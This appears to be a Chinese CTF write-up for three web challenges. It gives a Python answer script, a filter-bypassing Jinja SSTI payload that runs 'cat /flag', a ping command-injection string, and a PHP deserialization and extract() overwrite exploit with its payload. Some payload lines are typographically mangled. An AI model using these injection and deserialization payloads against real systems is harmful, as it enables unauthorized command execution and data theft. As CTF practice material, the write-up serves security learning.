Web1
计算器
import requests
r=requests.session()
data={"answer":0}
url=""
for i in range(30):
if i==0:
r=requests.get(url)
d=r.text
d=d.split(":")[22][1:].split("<br>")[0]
data["answer"]=str(eval(d))
print(eval(d))
p=r.post(url,data=data)
d=p.text
d=d.split(":")[22][1:].split("<br>")[0]
print(d)
得到flag
Web2
在search那里有个ssti注入点
/search?name=
经测试绕过了import , builtins,cat等
ssti构造
{%print (((g.pop.__globals__.__getitem__('__b''uiltins__')).__getitem__('__i''mport__')('os')).popen('ls')).read()%}
/search?name={%print (((g.pop.globals.getitem(‘b’'uiltins’)).getitem(‘i’'mport’)(‘os’)).popen(‘c’‘at /flag’)).read()%}
得到flag
Web3
首页的源码
<?php
173 $pat = "/^(((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))\.){3}((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))/";
174
175 if(isset($_POST['lsj'])) {
176 $lsj = $_POST['lsj'];
177 if (empty($_POST['lsj'])) {
178 echo("没C 你让我打你啊");
179 }
180 elseif (preg_match("/[`;\|\&$() \/\'>\"\t]</", $lsj)) {
181 echo("C就C吧,开什么挂啊~");
182 }
183 elseif(!preg_match($pat,$lsj)){
184 echo "格式都不对你怎么C";
185 }
186 elseif(strlen($lsj)>12){
187 echo "谁叫你C这~么长的";
188 }
189 else{
190 @system("ping -c 2 $lsj ");
191 }
192 }
193 ?>
利用下面这个命令,读出其他文件源码
lsj=0.0.0.0;nl%20*
然后读到源码p0pmart.php
<?php
error_reporting(0);
require_once("flag.php");
class popmart {
public $yuki;
public $molly;
public $dimoo;
public function __construct() {
$this->yuki = 'tell me where';
$this->molly = 'dont_tell_you';
$this->dimoo = "you_can_guess";
}
public function __wakeup() {
global $flag;
global $where_you_go;
$this->yuki = $where_you_go;
if ($this->molly === $this->yuki) {
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if (isset($pucky)) {
if ($pucky === "二仙桥") {
extract($_POST);
if ($pucky === "二仙桥") {
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}
可以看到p0pmart.php这个文件存在反序列化漏洞,绕过后即可读到Flag。
仔细阅读代码后发现要得到Flag很简单:先传参wq让其等于"二仙桥",而后利用extract函数覆盖变量pubcky让其不等于"二仙桥"即可执行反序列化代码。序列化代码中,__wakeup()函数是在对象被实例化后立即调用的,只要让其中的yuki(即where_you_go)等于molly的值(也就是"dont_tell_you")就可以得到Flag了,那怎么让where_you_go等于我们想要的值呢?还记得我们前面说到的extract变量覆盖吗?
根据上述思路就可以构造Payload,先构造下反序列化内容,直接Copy源代码的popmart类,然后序列化输出即可。
输出payload脚本
<?php
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$exploit = new popmart();
$serialized_exploit = serialize($exploit);
echo $serialized_exploit;
#O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}
?>
payload
GET:
wq=二仙桥
POST:
O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you
bp发包即可拿到flag